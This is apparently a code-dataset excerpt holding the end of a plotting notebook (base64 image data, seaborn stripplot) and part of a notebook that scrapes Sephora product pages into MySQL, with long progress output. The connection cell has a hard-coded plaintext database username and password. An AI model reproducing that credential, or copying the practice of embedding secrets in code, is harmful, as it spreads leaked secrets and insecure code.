uHWpOHwc2T+HB8WFpi+LALoAy9LmItm+/MsEPXP\n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\nBf4fCkB0hbZNbNcAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x112c68390>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "f, ax = plt.subplots(ncols=1, figsize=(10, 4), sharey=True)\n", "g = sns.stripplot(x='item', y='rating', jitter=True, alpha=.1, size=12, linewidth=1,\n", " data=df.loc[df.category == 'vehicle'], \n", " order=['car', 'boat', 'tricycle'],\n", " palette=['gray', 'deepskyblue', 'crimson'], ax=ax)\n", "g.set_xlabel('')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "colabVersion": "0.1", "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11" } }, "nbformat": 4, "nbformat_minor": 0 }

bsd-2-clause

cbtolson/MakeUpMatch

DataCollection/scrapeSephora.ipynb

1

34807

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "from bs4 import BeautifulSoup\n", "import urllib.request\n", "import re\n", "import mysql.connector\n", "import os\n", "import string\n" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [], "source": [ "#connect to mysql server\n", "cnx = mysql.connector.connect(host='localhost', user='ctolson', password='ilaYOU5!', database='sephora_cosmetics')\n", "cursor = cnx.cursor()\n", "\n", "#mysql insert functions\n", "add_ingredient = (\"INSERT INTO Product_Ingredient \"\n", " \"(product_id, ingredient_name) \"\n", " \"VALUES (%s, %s)\")\n", "add_review = (\"INSERT INTO Reviews \"\n", " \"(product_id, review, reviewer) \"\n", " \"VALUES (%s, %s, %s)\")\n", "add_product = (\"INSERT INTO Product \"\n", " \"(name, brand, type, url) \"\n", " \"VALUES (%s, %s, %s, %s)\")\n" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false, "scrolled": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "blush\n", "0\n", "1\n", "2\n", "3\n", "4\n", "5\n", "commit\n", "6\n", "commit\n", "7\n", "8\n", "9\n", "10\n", "11\n", "12\n", "13\n", "commit\n", "14\n", "15\n", "16\n", "17\n", "18\n", "commit\n", "19\n", "20\n", "21\n", "commit\n", "22\n", "commit\n", "23\n", "commit\n", "24\n", "commit\n", "25\n", "26\n", "commit\n", "27\n", "28\n", "29\n", "30\n", "31\n", "32\n", "commit\n", "33\n", "commit\n", "34\n", "commit\n", "35\n", "commit\n", "36\n", "commit\n", "37\n", "commit\n", "38\n", "39\n", "commit\n", "40\n", "41\n", "42\n", "commit\n", "43\n", "44\n", "commit\n", "45\n", "commit\n", "46\n", "47\n", "commit\n", "48\n", "49\n", "50\n", "51\n", "commit\n", "52\n", "53\n", "54\n", "commit\n", "55\n", "56\n", "57\n", "commit\n", "58\n", "59\n", "commit\n", "60\n", "commit\n", "61\n", "commit\n", "62\n", "commit\n", "63\n", "64\n", "65\n", "66\n", "67\n", "68\n", "commit\n", "69\n", "commit\n", "70\n", "71\n", "72\n", "commit\n", "73\n", "74\n", "commit\n", "75\n", "76\n", "commit\n", "77\n", "commit\n", "78\n", "79\n", "commit\n", "80\n", "81\n", "commit\n", "82\n", "83\n", "commit\n", "84\n", "85\n", "commit\n", "86\n", "commit\n", "87\n", "commit\n", "88\n", "89\n", "90\n", "91\n", "commit\n", "92\n", "commit\n", "93\n", "94\n", "95\n", "commit\n", "96\n", "commit\n", "97\n", "98\n", "99\n", "commit\n", "100\n", "101\n", "102\n", "commit\n", "103\n", "104\n", "commit\n", "105\n", "commit\n", "106\n", "107\n", "108\n", "commit\n", "109\n", "110\n", "commit\n", "111\n", "112\n", "commit\n", "113\n", "commit\n", "114\n", "115\n", "commit\n", "116\n", "commit\n", "117\n", "commit\n", "118\n", "119\n", "120\n", "commit\n", "121\n", "122\n", "commit\n", "123\n", "commit\n", "124\n", "125\n", "126\n", "127\n", "128\n", "commit\n", "129\n", "130\n", "131\n", "commit\n", "132\n", "commit\n", "133\n", "commit\n", "134\n", "135\n", "136\n", "commit\n", "137\n", "commit\n", "138\n", "commit\n", "conditioner-hair\n", "0\n", "commit\n", "1\n", "commit\n", "2\n", "commit\n", "3\n", "commit\n", "4\n", "commit\n", "5\n", "commit\n", "6\n", "commit\n", "7\n", "commit\n", "8\n", "commit\n", "9\n", "commit\n", "10\n", "commit\n", "11\n", "commit\n", "12\n", "commit\n", "13\n", "commit\n", "14\n", "commit\n", "15\n", "commit\n", "16\n", "commit\n", "17\n", "18\n", "commit\n", "19\n", "commit\n", "20\n", "commit\n", "21\n", "22\n", "commit\n", "23\n", "commit\n", "24\n", "commit\n", "25\n", "commit\n", "26\n", "27\n", "commit\n", "28\n", "commit\n", "29\n", "commit\n", "30\n", "commit\n", "31\n", "commit\n", "32\n", "commit\n", "33\n", "34\n", "commit\n", "35\n", "commit\n", "36\n", "commit\n", "37\n", "commit\n", "38\n", "39\n", "commit\n", "40\n", "commit\n", "41\n", "commit\n", "42\n", "commit\n", "43\n", "commit\n", "44\n", "commit\n", "45\n", "commit\n", "46\n", "commit\n", "47\n", "48\n", "commit\n", "49\n", "commit\n", "50\n", "commit\n", "51\n", "52\n", "commit\n", "53\n", "commit\n", "54\n", "commit\n", "55\n", "56\n", "commit\n", "57\n", "commit\n", "58\n", "commit\n", "59\n", "commit\n", "60\n", "commit\n", "61\n", "commit\n", "62\n", "commit\n", "63\n", "commit\n", "64\n", "65\n", "66\n", "67\n", "commit\n", "68\n", "commit\n", "69\n", "commit\n", "70\n", "commit\n", "71\n", "commit\n", "72\n", "commit\n", "73\n", "commit\n", "74\n", "commit\n", "75\n", "commit\n", "76\n", "commit\n", "77\n", "commit\n", "78\n", "commit\n", "79\n", "commit\n", "80\n", "commit\n", "81\n", "commit\n", "82\n", "commit\n", "83\n", "commit\n", "84\n", "commit\n", "85\n", "commit\n", "86\n", "commit\n", "87\n", "commit\n", "88\n", "commit\n", "89\n", "commit\n", "90\n", "commit\n", "91\n", "commit\n", "92\n", "commit\n", "93\n", "commit\n", "94\n", "commit\n", "95\n", "commit\n", "96\n", "commit\n", "97\n", "commit\n", "98\n", "commit\n", "99\n", "commit\n", "100\n", "commit\n", "101\n", "commit\n", "102\n", "commit\n", "103\n", "commit\n", "104\n", "commit\n", "105\n", "commit\n", "106\n", "commit\n", "107\n", "commit\n", "108\n", "commit\n", "109\n", "commit\n", "110\n", "commit\n", "111\n", "112\n", "commit\n", "113\n", "commit\n", "114\n", "commit\n", "115\n", "commit\n", "116\n", "commit\n", "117\n", "commit\n", "118\n", "119\n", "commit\n", "120\n", "121\n", "commit\n", "122\n", "commit\n", "123\n", "commit\n", "124\n", "commit\n", "125\n", "commit\n", "126\n", "commit\n", "127\n", "commit\n", "128\n", "129\n", "commit\n", "130\n", "commit\n", "131\n", "commit\n", "132\n", "commit\n", "133\n", "commit\n", "134\n", "135\n", "commit\n", "136\n", "137\n", "commit\n", "138\n", "commit\n", "139\n", "commit\n", "140\n", "commit\n", "141\n", "commit\n", "142\n", "commit\n", "143\n", "commit\n", "144\n", "commit\n", "145\n", "commit\n", "146\n", "commit\n", "147\n", "commit\n", "148\n", "149\n", "commit\n", "150\n", "151\n", "commit\n", "152\n", "commit\n", "153\n", "commit\n", "154\n", "commit\n", "155\n", "156\n", "commit\n", "157\n", "158\n", "commit\n", "159\n", "commit\n", "160\n", "commit\n", "161\n", "commit\n", "162\n", "commit\n", "163\n", "commit\n", "164\n", "commit\n", "165\n", "commit\n", "166\n", "commit\n", "167\n", "commit\n", "168\n", "commit\n", "169\n", "commit\n", "170\n", "commit\n", "171\n", "commit\n", "172\n", "commit\n", "173\n", "commit\n", "174\n", "commit\n", "175\n", "commit\n", "176\n", "commit\n", "177\n", "commit\n", "178\n", "commit\n", "179\n", "commit\n", "180\n", "commit\n", "181\n", "commit\n", "182\n", "mascara\n", "0\n", "1\n", "2\n", "commit\n", "3\n", "commit\n", "4\n", "5\n", "6\n", "7\n", "commit\n", "8\n", "commit\n", "9\n", "commit\n", "10\n", "commit\n", "11\n", "12\n", "commit\n", "13\n", "14\n", "15\n", "commit\n", "16\n", "commit\n", "17\n", "commit\n", "18\n", "19\n", "20\n", "commit\n", "21\n", "commit\n", "22\n", "23\n", "24\n", "commit\n", "25\n", "commit\n", "26\n", "27\n", "28\n", "commit\n", "29\n", "30\n", "commit\n", "31\n", "commit\n", "32\n", "33\n", "commit\n", "34\n", "35\n", "36\n", "37\n", "commit\n", "38\n", "commit\n", "39\n", "commit\n", "40\n", "41\n", "commit\n", "42\n", "commit\n", "43\n", "commit\n", "44\n", "commit\n", "45\n", "commit\n", "46\n", "commit\n", "47\n", "commit\n", "48\n", "commit\n", "49\n", "commit\n", "50\n", "51\n", "52\n", "commit\n", "53\n", "54\n", "commit\n", "55\n", "commit\n", "56\n", "57\n", "commit\n", "58\n", "commit\n", "59\n", "commit\n", "60\n", "61\n", "62\n", "commit\n", "63\n", "commit\n", "64\n", "65\n", "66\n", "commit\n", "67\n", "68\n", "commit\n", "69\n", "commit\n", "70\n", "71\n", "commit\n", "72\n", "73\n", "commit\n", "74\n", "75\n", "commit\n", "76\n", "commit\n", "77\n", "78\n", "79\n", "80\n", "commit\n", "81\n", "82\n", "commit\n", "83\n", "84\n", "85\n", "86\n", "commit\n", "87\n", "commit\n", "88\n", "commit\n", "89\n", "commit\n", "90\n", "commit\n", "91\n", "92\n", "commit\n", "93\n", "94\n", "95\n", "96\n", "97\n", "98\n", "commit\n", "99\n", "100\n", "101\n", "102\n", "commit\n", "103\n", "104\n", "commit\n", "105\n", "commit\n", "106\n", "107\n", "commit\n", "108\n", "commit\n", "109\n", "110\n", "111\n", "commit\n", "112\n", "113\n", "114\n", "commit\n", "115\n", "commit\n", "116\n", "commit\n", "117\n", "commit\n", "118\n", "119\n", "commit\n", "120\n", "commit\n", "121\n", "122\n", "commit\n", "123\n", "commit\n", "124\n", "commit\n", "125\n", "126\n", "127\n", "commit\n", "128\n", "129\n", "commit\n", "130\n", "131\n", "commit\n", "132\n", "commit\n", "133\n", "commit\n", "134\n", "135\n", "commit\n", "136\n", "commit\n", "137\n", "138\n", "commit\n", "139\n", "commit\n", "140\n", "141\n", "142\n", "143\n", "144\n", "145\n", "146\n", "commit\n", "147\n", "commit\n", "148\n", "149\n", "commit\n", "150\n", "151\n", "152\n", "commit\n", "153\n", "commit\n", "154\n", "155\n", "156\n", "commit\n", "157\n", "commit\n", "158\n", "159\n", "commit\n", "160\n", "161\n", "commit\n", "162\n", "commit\n", "163\n", "164\n", "165\n", "commit\n", "166\n", "commit\n", "167\n", "commit\n", "168\n", "commit\n", "169\n", "170\n", "commit\n", "171\n", "commit\n", "foundation-makeup\n", "0\n", "1\n", "commit\n", "2\n", "commit\n", "3\n", "commit\n", "4\n", "commit\n", "5\n", "commit\n", "6\n", "commit\n", "7\n", "commit\n", "8\n", "9\n", "commit\n", "10\n", "11\n", "commit\n", "12\n", "13\n", "commit\n", "14\n", "commit\n", "15\n", "commit\n", "16\n", "17\n", "commit\n", "18\n", "commit\n", "19\n", "commit\n", "20\n", "commit\n", "21\n", "commit\n", "22\n", "commit\n", "23\n", "24\n", "commit\n", "25\n", "commit\n", "26\n", "commit\n", "27\n", "commit\n", "28\n", "29\n", "30\n", "commit\n", "31\n", "commit\n", "32\n", "33\n", "commit\n", "34\n", "35\n", "commit\n", "36\n", "commit\n", "37\n", "commit\n", "38\n", "39\n", "commit\n", "40\n", "41\n", "commit\n", "42\n", "commit\n", "43\n", "commit\n", "44\n", "45\n", "46\n", "commit\n", "47\n", "commit\n", "48\n", "commit\n", "49\n", "50\n", "commit\n", "51\n", "commit\n", "52\n", "commit\n", "53\n", "commit\n", "54\n", "commit\n", "55\n", "commit\n", "56\n", "commit\n", "57\n", "commit\n", "58\n", "commit\n", "59\n", "60\n", "61\n", "commit\n", "62\n", "commit\n", "63\n", "commit\n", "64\n", "commit\n", "65\n", "commit\n", "66\n", "commit\n", "67\n", "commit\n", "68\n", "commit\n", "69\n", "70\n", "71\n", "72\n", "73\n", "74\n", "commit\n", "75\n", "commit\n", "76\n", "commit\n", "77\n", "commit\n", "78\n", "commit\n", "79\n", "commit\n", "80\n", "81\n", "commit\n", "82\n", "commit\n", "83\n", "commit\n", "84\n", 